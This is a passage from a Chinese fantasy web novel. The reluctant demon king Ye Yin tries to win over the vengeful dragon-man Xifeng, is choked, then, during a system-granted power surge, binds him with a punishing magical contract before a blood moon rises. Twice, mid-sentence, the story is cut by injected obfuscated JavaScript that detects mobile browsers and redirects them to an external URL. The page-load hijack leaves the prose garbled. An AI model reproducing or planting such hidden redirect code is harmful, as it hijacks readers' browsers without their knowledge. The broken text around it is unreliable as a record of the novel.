其实叶隐对自己的魔力控制力还挺有自信的,毕竟到目前为止,他施展的每一个魔法都没有失败过,加上他在梦里快速过了一遍希恩的记忆,也将对方施展魔法的经验吸收了去,现在的他完全有自信把头发烘干而不伤及发质,至于佯装力不从心的原因——当然是尤利西斯的按摩太舒服了!他还没享受够呢! “……行,坐这。”尤利西斯指指身前的椅子。 叶隐一屁股坐到椅子上,眯眼享受着加钟的头皮按摩服务,从尤利西斯掌心涌出的热风也恰好到处,只能说不愧是拥有一头秀发的男人,保养头发这块确实拿捏住了。 “唔唔,舒服……” 叶隐浑身上下的毛孔都舒张了,从天灵盖一路爽到尾椎骨,他不知不觉就瘫了下去,一根手指都不想动弹,生怕破坏了这股朦胧的快感。 原来被人伺候可以这么舒服的吗?他好像可以理解古代皇帝周围为何总是莺莺燕燕的了…… “……” 尤利西斯斜眼看着已经完全不装了的叶隐,有些无语,但他转念一想,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122464|195463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能强求每个人都以极端的标准自我要求,反正小魔王并非是个耽于享乐的人,那偶尔放松一下也没有什么不好。 ——话虽这么说,他却着实不太想看到对方在自己面前如此松懈。他自己也说不准这是一种什么心理,总之就是很怪。 于是他装作无意地问道:“你想好要怎么和那家伙沟通了吗?” 叶隐骤然回过神来,微微翻了个白眼,身体艰难地向上拔了拔,不情不愿地咕哝道:“别在关键时候破坏气氛啊。” 抱怨完,他迅速正色道:“大概有思路了,这还得多亏我昨晚做的那个梦。” 尤利西斯微怔,“梦?” “我梦到了希恩的记忆,稍微知道了些他小时候的事。”叶隐坦然道,“希恩就是希冯的软肋,只要抓住这一点,不怕他不愿意和我们交流。” 希恩…小时候?尤利西斯面色微变。 叶隐看到他顿在那里,就知道他在想些什么,笑道:“怎么,好奇?想知道?” “……”尤利西斯不想撒谎,但也不想承认,遂转移话题道:“具体来说,你要怎么说服它?确定不会将它激怒吗?” 叶隐言之凿凿道:“很简单,在希冯心里,希恩的心愿就是第一位,只要让他相信希恩是出于自己的意志而献身,他一定能理解的。” 尤利西斯皱眉摇头道:“先前,希恩就是因为知道希冯不同意自己的想法,才放弃了让它来主导计划,转而直接将它封印的,连希恩都没能劝住它,我不觉得单纯的说服会有用……再加上昨天你当着它的面选择了我,它绝对会把对我的恨意转移到你身上。” 什么叫当着他的面选择了你? 叶隐感觉尤利西斯对自己可能有点误会,不过…嗯,没有纠正的必要。 “确实得考虑这个因素,不过你不必太担心。”叶隐说道,“希恩死了,这才是希冯狂暴的根源,他之所以会恨你,也只是因为希恩已经不在了,不然顶多只是讨厌你这个人类的存在而已。而想要将他安抚住,唯有让他相信希恩没有死。” 但那怎么可能呢?希恩的确是死了,魔王之血易主,身躯直接当着自己的面化为了飞灰…… 尤利西斯满心疑惑,张了张嘴,迟疑道:“要…怎么做?” 叶隐指了指自己脑后的长发,“给我扎个低马尾先。” 尤利西斯瞬间领会到了叶隐的意思,神情一变,“你要装成希恩?!不行!” “怎么不行?” 尤利西斯似乎想说什么,犹豫了会儿,最后却改了口:“……因为你们终究是两个人,你瞒不过他的。” 叶隐撇了撇嘴,“我压根没打算‘瞒’他,而且归根结底,我也不是要‘装成’某个人。” “……?”尤利西斯一脸困惑。 “人啊,只会相信自己愿意相信的事。”叶隐感慨道,“‘希恩还以某种方式活着’这种事,若是从别人口中说出来,他是断然不会信的,只会觉得这是什么阴谋,但若是由他自己想象出来,就另当别论了,因为他是真心希望现实如此啊……所以说,我不需要特地做什么,只要适当表露一些能够引发他联想的迹象,他自己会往那个方向考虑的。” 他无视了身后尤利西斯复杂的神情,摸了摸脑后的低马尾,满意地点了点头,又对着镜子调整了番神情——希恩的眼神比自己更加深沉、沧桑些,而且他后来成为了魔王,应该会更加冷漠阴沉,以自己的面容,要摆出那种表情的话…嗯…… 对了!想想大一的时候,在大润发兼职杀鱼时的感觉…… 花了几分钟,叶隐终于调整到了自己满意的状态,转过身来,看向尤利西斯——对方在与他对视上的瞬间,似是愣在了原地,双眼微微睁大,下意识抿紧了嘴,浑身肌肉都些许紧绷了起来——叶隐还从来没有见过他如此紧张的样子,哪怕是在即将与希冯厮杀的时候,也顶多是严肃罢了。 “看来效果很不错!……哈、哈哈哈哈!”叶隐煞有介事地点着头,随即没有绷住,直接抱着肚子笑出了声,“你、你看看你那眉毛!你自己照照镜子!哈哈哈……” “……” 在叶隐放肆的笑声中,尤利西斯的神情一变再变,从震惊到困惑,最后定格在无奈。 笑够了的叶隐直起身来,擦了擦眼角的泪,好奇道:“说起来,你为什么那么害怕希恩?我以为你们后来的关系应该还算不错?” “我不害怕他,我们也不是朋友之类的关系。”尤利西斯淡淡道,“在希恩的尸体上诞生的魔王希恩,已经不是那个需要怜惜和保护的弱者,而是一念之间就能让世界秩序翻天覆地的强者……即使我仍为杀死他一次的事感到愧疚,却再没有任何能为他做的事了,自顾自将对曾经的他的愧疚转移到那时的他身上,也只是一厢情愿罢了。” “但你还是选择留在魔王城,不是吗?”叶隐反问道,“若是没有你的存在,希恩的计划压根没法进行下去吧?从结果上来说,你还是帮到他了,只是他再也看不到了而已。” “……是啊,他看不到。”尤利西斯微微闭上双眼,“我再也无法用行动向他证明我悔过的决心了,所以我常常会觉得,自己做的事还远远不够。” “那,他还活着的时候,你有向他道过歉吗?” “……” 看着尤利西斯陷入沉默,叶隐伸手用力弹了对方一个脑瓜崩,用陈述句道:“你是笨蛋吧。” “我……” “是是~你就抱着你的愧疚过一辈子吧,反正都是你自愿的,不关我事啦。”叶隐潇洒转身,头也不回地挥了挥手,“我要去干正事了,你就算跟上来,也别离我太近,不然谈判失败就算在你头上啊。” 15. 契约之印 在叶隐距离囚室还有数十米远时,希冯便已察觉到了对方的接近。 明明上次那样对他,竟还真敢一个人来……他睁开那双慑人的竖瞳,在心中冷笑。 龙人之躯强横得惊人,他虽在与尤利西斯的战斗中受伤,可一夜过去,他身上别说伤了,连个疤都不剩。除去被斩去的右臂,他已经完全恢复了状态,而身为人类的尤利西斯,就没有这么好运了。 他有自信,让现在的他和尤利西斯再战一次,鹿死谁手还未可知,所以哪怕尤利西斯与那魔王同行,他也丝毫不惧,可那力量全无的魔王倒真敢孤身前来,莫不是笃定他不敢对自己出手? ……哼,也罢,从对方用一个毫无约束力的命令,就指望他能自我囚禁这一点来看,其脑中约莫尽是些不切实际的幻想,和那双清澈的眼神一样……令人作呕。 希冯无意识地咬紧了牙关,发出“嘎吱嘎吱”的声音,旋即松开,满含杀意地舔舐着锐利的龙牙,舌头被划破出血也满不在乎。 那个人……明明有着哥哥一样的五官,甚至说话的语调都那么相似,为什么…为什么哥哥就非得挣扎着才能活下去,而他还能长着一张像是没有被欺负过似的脸? 如此清纯,如此天真,如此简单地就拥有了他与哥哥拼搏半生才挣来的成果……让他如何不嫉妒,如何不恨! ——为什么那个男人可以活,而哥哥、他唯一的哥哥,就必须死?! 哥哥,他的好哥哥……明明只要放下执念,完全接纳魔王之血,就再也不会感到痛苦,就会拥有能够为所欲为的力量了……为什么宁可送了命,也不愿意接纳自己的命运呢? 那是他唯一一次强硬地反抗哥哥的决定,却也是唯一一次被哥哥以不容反抗的姿态驳回。 他们在世上的亲人只有彼此,在意之人也只有彼此了,事实明明就是这样的…… ……所以,他始终无法理解,为什么唯独在生死这个最为关键的决定上,哥哥要一意孤行,甚至不愿考虑自己哪怕一丝的意见,以至于非得将自己封印不可。 到底是什么改变了哥哥? 在哥哥眼中,到底有什么东西,能比身为弟弟的他还重要?能比哥哥自己的性命还重要?——能比兄弟一起好好活下去还重要?! 无法理解……完全无法理解!! 在走到囚室门口的途中,叶隐一个激灵,有些汗毛倒竖,他隐隐感到前方传来一股危险的气息,脚步不由得一顿。 那家伙怎么了这是,安分了一个晚上终于憋不住了? 还是说,是察觉到他要来,打算给他一个下马威?至于吗喂…… 眼看着努力维持的淡漠神情有绷不住的迹象,叶隐赶忙重振精神,把希恩式阴沉焊死在脸上,并打定主意:就算死,也不能崩人设!不然恐怕会生不如死! 内心反复给自己打着气,他整了整身上那件特意从衣柜深处掏出来的斗篷,佯装淡定地继续踱步向前。 他已经做好了万全的准备,就算伽椰子从墙角蹦出来也吓不到他! 嗒! 叶隐一步踏入希冯所在的囚室,向盘腿坐在地上的龙人投去淡漠的注视,随即看到对方的瞳孔刹那间紧缩,露出显而易见的愕然之色。 嗯,效果很好! 叶隐心下一喜,感觉十拿九稳了,立刻准备进行下一步计划—— 然而,就在这个瞬间,他眼前骤然一黑,随后脖颈被什么东西扼住,身体被随之而来的巨力重重压倒,撞在了坚硬的囚室地板上。 龙人以超越叶隐视觉极限的速度飞跃至他面前,单手掐住他的脖子,面目阴寒,牙龈都要咬出血来,“你、这、混、蛋……” 靠! 叶隐的背和后脑撞得生疼,让他直想骂娘,但那都不是眼下最要紧的。窒息的危机感令他浑身炸毛,他艰难地喘了口气,下一刻,脖子上的龙爪握得更紧,把他最后一丝能进气的通道也掐断了,还有那“护身符”前端挂着的坠饰,咯得他相当难受。 ……泥马!至少让我说句话啊! 叶隐气极,枉他还妄想用这根三寸不烂之舌说服对方,结果这厮根本不给他说话的机会!狗东西! “为了装成哥哥的样子,真是煞费苦心啊。”希冯冷笑着,仅有的手掐着叶隐的脖子,一只后足重重踩在叶隐腹部,让他痛得难以挣扎。 他俯身趴在叶隐耳畔,眼中闪过一道红光,下一刻,一股可怕的热量从叶隐皮肤上扫过,叶隐还以为这狗东西终于打算下杀手了,下意识闭上了眼睛,但他并未感到疼痛,只是鼻间忽然多出了股焦糊味儿。 希冯面露邪恶的冷笑,“还是短发比较适合你,冒牌货。” 叶隐:“……”他好像知道对方干了啥了。 狗啊!有狗啊! 情况紧急,但叶隐的第一反应居然不是挣脱,他本能地展开联络魔法,察觉到尤利西斯正在极速接近,立刻联系上对方,在心中道:“不要过来!!” 尤利西斯居然真的停了下来,但心灵感应的语气暴露了他的焦急:“它想杀你!” “交给我。” 生死关头下,叶隐心中竟意外清明,他也不知自己是何处来的自信,唯有一点他可以确定——他先前对希冯的判断有致命的误差。 现在的龙人希冯,不会尊重任何力量不如自己的存在,当然也包括叶隐,如果再让尤利西斯来救场,即使他性命无虞,却不会再有收服希冯的机会了。然后,会发生什么就显而易见了。 希冯不会信服于一个弱者,尤利西斯也不会允许这样一个威胁继续存在于叶隐身边,这样下去,结局只会是两败俱伤。 破局的手段只有一个——那就是叶隐自己,堂堂正正地战胜希冯,把他打到甘愿臣服。 ……那种事,可能吗? 氧气愈发稀薄,死亡的危机感像火一样炙烤着叶隐那逐渐昏沉的大脑。他没有什么动弹的余地,唯有用力敲打希冯的左臂,可后者就像顶梁柱一样巍然不动,只有叶隐的拳头被反作用力打得生疼,但那点痛觉在濒死的痛苦面前九牛一毛。 单手扭断叶隐的脖子,对希冯而言不会比捏碎一块豆腐更难,但双方都清楚,他不会真的那么做——希恩已经向他们展示过,未完全觉醒的魔王,在遭遇生命危险的时候会发生什么,那并非希冯或叶隐中的任一者所期待的。 叶隐知道自己不会那么简单地死掉,但无限接近死亡又是另一码事。希冯不会杀他,却很乐意向他施加痛苦,以此宣泄自己的愤怒…还有,无力。 是的,无力。 叶隐非常清楚,让希冯如此愤怒的真正源头是什么。 是因为自己特意选择了贴近希恩的形象,让他觉得哥哥受到了玷污吗?还是像尤利西斯说的那样,他把对尤利西斯的仇恨转移到了自己身上呢?……那些都只是一部分而已。 实际上,希冯从不信任除自己和哥哥以外的任何人,或者也可以说,在他的世界里,只有自己和哥哥算是同类,其他人在他眼中和草履虫没有什么区别,无论理性还是感性都并不相通,根本上就不是能够混为一谈的存在。 他压根不在乎叶隐和尤利西斯的所作所为,因为他从一开始就对他们没有任何期待,他的一切愤怒、仇恨,都是他对哥哥希恩的感情的衍生品——仅仅因为叶隐与尤利西斯与希恩有交集,他们才成了希冯发泄情绪的对象,这就是他们在希冯心目中唯一的身份了。 人会憎恨咬了他一口的狗吗?也许他会放过它,抑或是杀了它,但不会对它有恨,因为那对一只狗毫无意义。希冯亦是如此,他的一切感情,都是留给哥哥希恩、还有自己的。 希恩的死,希恩自己固然占主要责任,但希冯是绝不会恨他的,那么,他可以憎恨的对象,就只剩下自己一个了。 他没能阻止尤利西斯杀死希恩,没能改变身为魔王的希恩的立场,没能为希恩找到死亡以外的结局,最后落得破封而出后、一切都物是人非的下场——归根结底,都是因为他自己太过无能。 ……吗? 不知何时起,叶隐不再挣扎。 缺氧的视野中一片光怪陆离,希冯的面孔在叶隐眼中只余几个模糊的色块。他怔怔地看着上方,抬手轻抚那张不甚清晰的脸,甚至不确定究竟有没有摸到。 “可怜的孩子。”叶隐喃喃道。 被指尖触到的瞬间,希冯的神情和动作都僵住了。 那只手伸过来的速度很慢,他本能够躲开的,但…… ……恍惚间,他被卷入到久远的回忆之中。 “希冯。” 扎着低马尾的瘦弱少年,倚着身后的残垣断壁,身前身后的衣裳都被鲜血浸透。 以哄睡孩童般的姿势,他将希冯抱在怀中,却面无表情,疲惫之色遮掩住了眼神深处跳动的光芒。他垂目凝视着满身血痕的弟弟,后者在他怀里颤抖、呕血,神情涣散,已经无法回应哥哥的呼唤。 一股又一股,希冯的鲜血如小溪般流向他,仿佛要将他淹没。 他抬起手,将希冯额角沾血的头发拨到一边,透过勉强带着余温的血液,轻抚那冰冷的脸颊。 “可怜的孩子。”他轻声说道,像是在对希冯说话,又像是在自言自语,“别害怕,你不会死在我面前的。” “……!” 希冯猛然回神,下意识松开叶隐的脖子,“蹬蹬”后退两步,大口喘气,这才意识到自己刚才竟然紧张到没有在呼吸。 ……那白皙脖颈上的红痕竟能如此刺眼,以至于懊悔的念头在他心中一闪而过。希冯皱了皱眉,试图将这股不应有的怜爱强行压下——即使这家伙和哥哥不止是外貌相似,那又怎样? 【叮~检测到玩家有生命危险,爆种功能提前开放。当前时髦值:16点,爆种时长:1分36秒。】 【爆种结束后,将进入等比例时长的虚弱期,请提前做好准备。】 不到两分钟的“魔王体验卡”吗?似乎足够他赶到帝国王都大开杀戒了,叶隐冷静地想道。 ……算了,还是先不去想多余的事,先把眼前的问题解决掉。 叶隐慢慢从地上爬起,揉了揉脖子,红痕迅速褪去,转眼间消失不见。 “你,好像还没有搞清楚现状啊。”他向着希冯微微扬起头颅,眼神轻蔑,似笑非笑道:“真是…可怜。” 同样的言语,意义却截然不同。 希冯瞳孔瞬间紧缩,浑身鳞片炸起、肌肉紧绷。微笑着的叶隐身上,有一股非常不妙的气息正在升起,像针一样刺痛着他的鳞皮——不过转眼间,这股气势便节节攀升,到了近乎令空气凝滞的地步,给人以深海般的压力,难以喘息。 希冯神情僵硬,若非他现在是龙人形态,定会有冷汗从他额上淌下,因为他非常清楚这股气势背后的意义。 即使面对尤利西斯,他也不会因二者的实力差距畏惧半分,然而,面对那至高无上的魔王,他空有一身力量,却毫无用处,对方只需一个念想,就能抹除他的反抗意志——这不是力量层次的差距,而是生命层次的。 竟然会在这种时候觉醒,是刚才做得太过火了吗?!希冯在魔王的威压下不自觉地颤抖着,咬牙切齿。 “理应侍奉魔王的存在,你背离了自己的使命。” 叶隐眼中跳动着绛紫色的光,被魔法烧断的头发忽然间如植物般迅速向下生长,眨眼间便长至膝盖,且无风自动,如有神灵附身。 他高高俯视着被气势压倒、半跪在地的希冯,冷冷道:“臣服于我,这是你最后的机会。” “我……不是…魔王的仆人!” 希冯被压得喘不过气来,握紧左拳,断断续续、满怀恨意地道:“我效忠的人只有两个……一个是哥哥,另一个是——” 他深吸一口气,猛然暴起,利爪闪电般挥向前方,怒吼道:“——我自己!” “……” 叶隐看向希冯,原本淡漠的眼神瞬间变得冷酷而致命。 能够将先前的他一把按倒在地的极速跳跃,在现在的他眼中,比蜗牛也快不了多少。他没有任何动作,甚至抱起了手臂,静静看着那只龙爪越过警戒线,触及到他前方一片无形的魔法幕布之上。 在旁人卡那里,那双切岩石比切豆腐还利索的爪子,就像刺入了一片隐形的泥沼中,一点点消失,但希冯的感受并非如此。 他勃然色变,在空中紧急变向,试图将左臂收回,可手臂连带着全身都被不可视的吸力紧紧吸在了那片幕布上。他当机立断,挥动龙尾上的脊刃,顶着阵阵火花将小臂的下半截斩断,才终于得以脱身,而那被斩断的半截小臂,在几秒内就被吞噬…或者说,“分解”得无影无踪。 “魔法,很神奇吧?”叶隐笑道。 现在控制着他的身体的,似乎不只有他自己的意识,但他自己的确在清晰地看着这一幕,并发出由衷的感慨:能够随心所欲地施 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138202|195463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 展如此强大的魔法,简直是他从不敢想象的事。就像井底之蛙忽然得到了一双翅膀,这之中的反差,甚至比现实本身更加美妙。 叶隐忽然非常理解,历代魔王为何没有一个能够抵抗魔王之血的诱惑。在这世道下,弱者唯有宰割更弱者,或任更强者宰割,只要不是最强,就永远无法真正掌控自己的命运,而这个最强之位,却不是任何人都可以望见的。 只有被魔王之血选中的人,才天生具有成为最强的资格,这是他人欲登临此位所面临的最大天堑,而对叶隐来说,这一最高的门槛,从一开始就不存在,只要他想,他可以在任何时刻成为魔王,成为…最强。 这是一条双向奔赴的路,一条以最快的速度抵达峰顶的捷径,一个所有人都会心甘情愿踩进去的阳谋……哪怕明知道觉醒的代价与死无异,也压根不需要过多考虑,因为以任何人都能践踏的弱者姿态活着,本就是在生不如死的地狱中挣扎。 【觉醒度+1,觉醒度+1,+1……】 系统的提示音接连弹出,叶隐却毫无所觉一般站在原地,自顾自地欣赏着希冯那无能倔强的神情。 他完全可以在一念之间剥夺掉希冯的反抗意识,把对方化为言听计从的傀儡,这是魔王对大魔的绝对掌控力。 【爆种倒计时:00:01:03】 ……但真那么做的话,和随便把路边的泥巴变成大魔似乎也没什么区别,叶隐还是更希望这张脸能留在自己身边,哪怕喧闹一些。 【爆种倒计时:00:00:58】 “那就这样吧。”叶隐自言自语道。 他竖起右手两指,在空中划出一道让人眼花缭乱的术式,磅礴的魔力如火山爆发般,自其周身喷薄而出,在身前凝聚成一道莲花样的血色徽记,悬浮在半空中。 毫无征求希冯意见的打算,叶隐大手一挥,那徽记便朝着对方直飞过去。希冯不知道那是什么,只凭直觉感觉到了危险,浑身汗毛倒竖,拔腿欲逃,足下的地面却骤然变得比沥青还黏,令他半步都跨不出去便深陷其中,只能眼睁睁看着那徽记撞入他的脑门,莲花状的纹样烙在了他的额头正中。 “这是…什么……!” 希冯面目狰狞,用仍在冒血的断臂奋力抠挖额头,仿佛那一处正源源不断地传出无法抑制的痒意,“混蛋,你对我做了什么?!” “当然是契约。”叶隐淡然道,“你没有拒绝的资格。” “什么契——呃啊啊!!” 希冯的动作骤然一停,惨叫着倒在了地上,浑身上下因剧痛蜷成一团,连尾巴都夹在了两腿中间,痉挛着抽搐。 “一旦你的行径与我的心意不符,就可以随心所欲惩罚你的契约。” 说着,叶隐悠哉悠哉地上前几步,在希冯面前蹲下,轻声道:“直接抹去你的个体意志就太无聊了,这样比较有趣,你觉得呢?” 希冯连凝视叶隐的精力都没有,瞳孔剧烈波动着,牙龈都被他咬出血来。 “有种…就杀了我……”他从牙缝中挤出这句话,“不然…我会、让你…后悔!!” 叶隐耸耸肩,站起身来,仰头看了眼天花板,道:“好吧,不着急,我们有的是时间。” 【爆种倒计时:00:00:32】 他低头瞥了眼倒地的希冯,语气恢复了淡漠:“你就在这里等着吧,在我回来之前,希望你多少能想通一些事。” 话音刚落,他向前踏出一步,身形凭空消失在囚室中,独留希冯在原地颤抖——只是这次,不再只有一句毫无约束力的命令了。 另一边,叶隐跨过无形的空间门,出现在魔法塔的塔顶。 那颗曾被尤利西斯取下、用以教学的水晶球,早已被放回到原位,继续发挥着它作为魔法塔核心的功能,只是,里面蕴藏着的结界魔法,按叶隐的学习进度,正常来说不知要猴年马月才能修好。 叶隐单手按住水晶球,球体在他掌心之下一阵颤抖,发出如地狱之火般漆黑的光芒,随后变得极为温顺,自觉地将其内部储存的魔力往叶隐身体里送,仿佛终于找到了久违的主人。 【爆种倒计时:00:00:16】 “……这样就好了吧?” 叶隐松开水晶球,心念一动,包裹魔王城的三重结界便尽数重启,稳定地运转起来,持续个二三十年应该不成问题。 他满意地点点头,“这样就省事了,尤利西斯也会高兴的吧。” 言毕,他转过身去,望着那个持剑矗立在门口、满是肃杀之意的身影,笑道:“啊呀,真是说曹操曹操到。” “……” 尤利西斯的视线之冰冷,仿佛能让整个宇宙熵减,那头银发与手中长剑给人的感觉竟如出一辙,仿佛他本人就是一柄极为锋利的剑——而且,已经出鞘。不见血,不回头。 【爆种倒计时:00:00:12】 “要和我打一架吗?我倒是很乐意。”叶隐瞥了眼系统的倒计时,说道,“不过,今天不是个好时机啊,下次吧。” 尤利西斯现在很冷静——希恩的完全觉醒就是他一手造就,所以那一天所发生的事,每分每秒他都不会忘记。他非常确定,叶隐此时的状态与那不同,光是气势上就远远没有达到完全体魔王的程度,希冯之所以会输得那么干脆,只是因为他是大魔,并且他蠢。 只要不是完全觉醒,事情就还有挽回的余地,同样的错误他不会犯第二次。 “叶隐。” 相识至今,这是他第一次呼唤叶隐的名字。 “醒过来,不要被力量冲昏头脑。”他眼神坚定,气势沉着,言语中仿佛有着无限的可信度,“你可以靠自己变强,成为天下第一,而不是被这种东西支配。” “……哈。” 叶隐忽然感觉有点好笑,他本来就是会变回去的,尤利西斯非要说些多余的话,一会儿别误以为是他自己的嘴炮发挥了作用吧?哈哈…… “……在你变得足够强之前,我会保护你。” 尤利西斯缓缓将手中的剑放在地板上,两手空空地上前一步,道:“所以……别害怕,我就在这里。” 叶隐上挑的嘴角慢慢垂了下去,他静静看着尤利西斯,神情微怔,一言不发。 过了许久,他笑道:“明明是我让你不要过来的,别说得像你做错了一样。” 在尤利西斯骤然惊惧的眼神中,叶隐毫无征兆地软倒了下去,再无动静。 16. 血月之日 叶隐悠悠转醒时,时间似乎来到了晚上。 窗外隐隐散发的红光让他愣了一下,随即脑后传来的轻微拉扯感将他的注意力拉走。 顺着身下那及膝的长发望去,发尾正成束地躺在尤利西斯手中,被木质的梳子轻轻牵动。床边,银发的青年安静而端正地坐在椅子上,梳发的动作如织布般细腻,神情认真而专注,眉宇间却带着一丝难辨的情绪,似有些心神不宁。 叶隐的苏醒并未逃过尤利西斯的眼睛,他动作微微一顿,将梳理过后的长发放回床上,若无其事地平静道:“想吃些东西吗?厨房里正热着菜。” “没感觉到饿。”叶隐实话实说,“不过,还是稍微吃一点吧。” 哪怕只是为了口福,他也不想错过尤利西斯做的每一餐饭,何况,在钟表都没有的魔王城中,他只能凭借饭点大概感受时间的流逝,如果不吃饭,就会一整天都浑浑噩噩的,他不喜欢那种感觉。 “我去拿。” 尤利西斯起身,迈着快速的步子走出卧室,脚步声逐渐远去。 确认尤利西斯离开后,叶隐略微活动了下身体,感觉没有什么不适,稍微松了口气。 昏迷前的记忆有些朦胧,叶隐仍然记得自己做了些什么,但回忆起来就像是另一个人做的,情绪和逻辑都不甚清晰。 另外,在那段爆种时间里,他体内骤然涌出了来历不明的巨量魔力,将整具身体都冲刷了一遍,再加上他的觉醒度似乎又提高了,这些都让叶隐感到不适——这种感觉他先前也体会过,以他现在的经验总结,那应该是一种灵魂力量增长过快、导致其与□□脱节的异物感,等到他的身体变异完成,应该就会消失。 ——如果说这些都是从外表难以看出的内在影响,那他这头转眼从及肩变得及膝的长发,就是任何人都无法忽略的外在影响了。 叶隐坐起身来,将头发一把一把搂到身前,在仔细度量过头发的长度之后,神情变得略显呆滞。 尤利西斯说过,头发是身体的一部分,可作储存魔力之用,对法师尤其重要,不过,对于一个半辈子都是短发、刚刚才下定决心留长发的男人而言,几乎和身高一样长的头发果然还是太超过了。 顶着一头十几斤重的头发,他还能正常运动吗?叶隐感觉自己的脖子压力很大……而且,这到底要怎么洗、怎么保养啊? 要不…还是剪掉算了? 烦躁的心中不由自主地生出那样的念头,但很快被叶隐自己否决了。 他回忆着方才尤利西斯坐在床边时,为他梳发的模样——尤利西斯绝对不会对他本人露出那样温柔平和的表情,倒不是说他的内心也是一样硬如铁石,但要他对其他人展露内心柔软的一面,他可能宁愿去和魔王打架——总之,叶隐一想到剪去头发后说不定就再难看到那般场景,内心就隐隐作痛。 ……那家伙,说不定在建议他留长发的时候,就已经想到,他的头发会在未来某一天长到这般长度了,所以才会那么平静地接受了现实,甚至隐约有些乐在其中的意思。 也罢,既然尤利西斯愿意分担头发养护的重任,这长发还是留着吧。 叶隐四处看了看,先前尤利西斯给他套上的发圈正摆在床头柜上,大抵是幸运地没有被希冯烧掉,并被捡了回来。他嫌发丝到处飘荡碍事,拿起发圈试图把头发捆起来,却累得气喘吁吁也没成,只好先保持着披头散发的外形,光着脚跳下床去,来到窗前。 从醒来开始,他就对窗外的红光很好奇了,什么东西能发出那样通红而亮堂的光?这里没有灯泡,也不可能是蜡烛。如果那意味着危险,尤利西斯不会不叮嘱他就离开,但不是危险,又能是什么呢? 叶隐抬手拉开窗帘,外面不出所料是一片黑夜,这么说,他至少睡了一整个白天? 他仰起头来,终于看见了辐射红光的真身——那是一轮高悬于空的、鲜红似血的满月,体积比平日里巨大数倍、乃至数十倍,近乎占据了三分之一的天幕。它似乎蕴含着神秘的魔力,让人光是凝视着就感到目眩神迷,当然,在看到它的那一瞬间,还是惊悚更多。 “……是血月啊。” 只盯着看了几秒,叶隐就感到轻微的头昏脑涨,他甩了甩脑袋,当机立断地把窗帘拉上,不再去看那轮让人毛骨悚然的月亮。 “但这和普通的血月绝对是两码事啊,迅速接近又定格在那里…不,不能以常理推断这个世界的现象,这边的月亮是不是真正的卫星还有待商榷。”他摸了摸下巴,沉吟着,“……想不通,等会儿问问吧。” 以叶隐的审美而言,巨大的血月其实还挺美丽的,但空中那一轮月亮已经不能用美来形容了,完全就是魔性之物,若多盯着看一会儿,不知道会发生什么,还是不要作死为好。 很快,尤利西斯带着晚饭回来了。 “你所在的世界中,也有血月这一现象吗?”听完叶隐的询问后,他反问道。 “有是有…不过我觉得完全是两码事……至少我们那边的月亮…看久了也不会头晕。”叶隐一边大口扒饭,一边含糊道,“就算是血色的月光,终究也是反射的太阳光而已,但这个月亮嘛……我不好说。” 尤利西斯颔首,“那我大概能理解两个世界血月的区别了。” “愿闻其详。” “在这边,据史料记载,血月是一种历史非常悠久的自然现象。血月大约每三个月发生一次,一次持续一整天。”尤利西斯说道,“这一天将没有白天,只有黑夜,在世界的任何地方都是如此。月亮将始终悬挂在夜空中,将大地映得血红。” 叶隐听出了问题,赶忙道:“等等,一整天黑夜?难道我不止睡了半天?”他睡过去的那天,白天明明是正常的,这就对不上了。 尤利西斯瞥了他一眼,“事实上,这是你昏过去的第三天。” “呃……”叶隐没来由地感到心虚。 好在尤利西斯似乎暂时不打算追究叶隐的责任,他收回眼神,接着说道:“血月的成因至今没有完全揭露,宫廷法师怀疑它可能是自然界的魔力遵循某种规律流动、所自然而然形成的术式,继而如‘天然魔法’一般展现出来的迹象,但因为月亮距离过远而难以印证这个猜想; “教会的神职人员则认为,这是一种来自神秘伟力的诅咒,因为血月会让月光照耀下的生命狂暴化。尤其是魔物,它们在血月中能够比平时更强,加上它们本来就没有什么理性,相当于血月对它们只有好处、没有坏处。 “人类可以通过遮蔽月光、不直视月亮,来避免在血月中狂暴,但魔物不会特地那么做。血月时更强、更狂暴的魔物,更容易冲破人类的防线,导致战争甚至是屠杀,久而久之,血月在人类的文化中便成了一种灾厄。时至今日,每个血月日前,所有人都会为此做好准备,以最大程度地削弱它的影响。 “除此以外,月亮向来是影响天地间魔力流动的关键要素之一,每逢血月日,所有魔力的特性都会短暂地发生一系列变化,包括但不限于流动速率加快、恢复速率加快等等。” 末了,尤利西斯还补充了一句:“你会在今天醒来,可能也与血月加快了魔力恢复有一定关系。在你脱离了那种特别的状态之后,你体内的魔力一度亏空,直到今天才快速回满,而那之后不久,你就醒了。” 叶隐点了点头,“大概理解了。” 解释完后,尤利西斯不再多言,默默与叶隐一同吃饭。 在进食的间隙,叶隐断断续续地观察了尤利西斯一会儿,最终出声道:“你在担忧同胞吗?担心他们因为血月受难?” 尤利西斯在魔王城的日子过得太自然,以至于叶隐有时候会忘记他才是外来者,可实际上,无论魔物还是魔王,都只是尤利西斯力求消灭的仇敌,远在千里之外的人类,才是与他血脉相连的同族。 纵使叶隐出身异世界,如今身边却至少有尤利西斯这个同类,不至于孤独,只是,在尤利西斯自己看来,情况又是如何呢? 除了向魔物表达厌恶的时候,尤利西斯都很少表露情绪,只有极个别情况下——譬如刚刚为叶隐梳发的时候——才会让叶隐觉得,他大概是有一些寂寞的。 叶隐向尤利西斯投去试探的眼神:事实是自己想的那样吗? 